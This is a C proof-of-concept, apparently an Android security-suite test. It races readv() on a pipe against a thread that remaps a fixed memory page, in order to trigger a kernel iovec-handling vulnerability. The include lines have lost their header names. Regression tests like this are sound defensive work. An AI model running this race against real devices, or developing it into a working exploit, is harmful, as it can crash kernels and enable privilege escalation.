/** * Copyright (C) 2018 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include "../includes/common.h" #define BUFS 256 #define IOV_LEN 16 #define MAGIC 7 int fd[2]; struct iovec *iovs = NULL; void *func_evil(void *data) { const size_t page_size = getpagesize(); munmap((void *)(0x45678000), page_size); mmap((void *)(0x45678000), page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); return data; } void *func_readv(void *data) { readv(fd[0], iovs, BUFS); return data; } int main() { const size_t page_size = getpagesize(); int ret = -1, i; void *bufs[BUFS]; time_t test_started = start_timer(); pthread_t thr_evil, thr_readv; if (pipe(fd) < 0) { goto __out; } fcntl(fd[0], F_SETFL, O_NONBLOCK); fcntl(fd[1], F_SETFL, O_NONBLOCK); iovs = (struct iovec *)malloc(sizeof(bufs) / sizeof(bufs[0]) * sizeof(struct iovec)); if (iovs == NULL) { goto __close_pipe; } bufs[MAGIC] = mmap((void *)(0x45678000), page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); if (bufs[MAGIC] == MAP_FAILED) { goto __close_pipe; } for (size_t i = 0; i < sizeof(bufs) / sizeof(bufs[0]); i++) { if (i == MAGIC) continue; bufs[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (bufs[i] == MAP_FAILED) { goto __free_bufs; } iovs[i].iov_base = bufs[i]; iovs[i].iov_len = IOV_LEN; } iovs[MAGIC - 1].iov_len = IOV_LEN * 10; iovs[MAGIC].iov_base = bufs[MAGIC]; iovs[MAGIC].iov_len = IOV_LEN; i = 0; while (timer_active(test_started)) { write(fd[1], bufs[0], page_size); pthread_create(&thr_evil, NULL, func_evil, NULL); pthread_create(&thr_readv, NULL, func_readv, NULL); pthread_join(thr_evil, NULL); pthread_join(thr_readv, NULL); } __free_bufs: for (size_t i = 0; i < sizeof(bufs) / sizeof(bufs[0]); i++) { if (bufs[i]) munmap(bufs[i], page_size); } __close_pipe: close(fd[0]); close(fd[1]); __out: return ret; return 0; }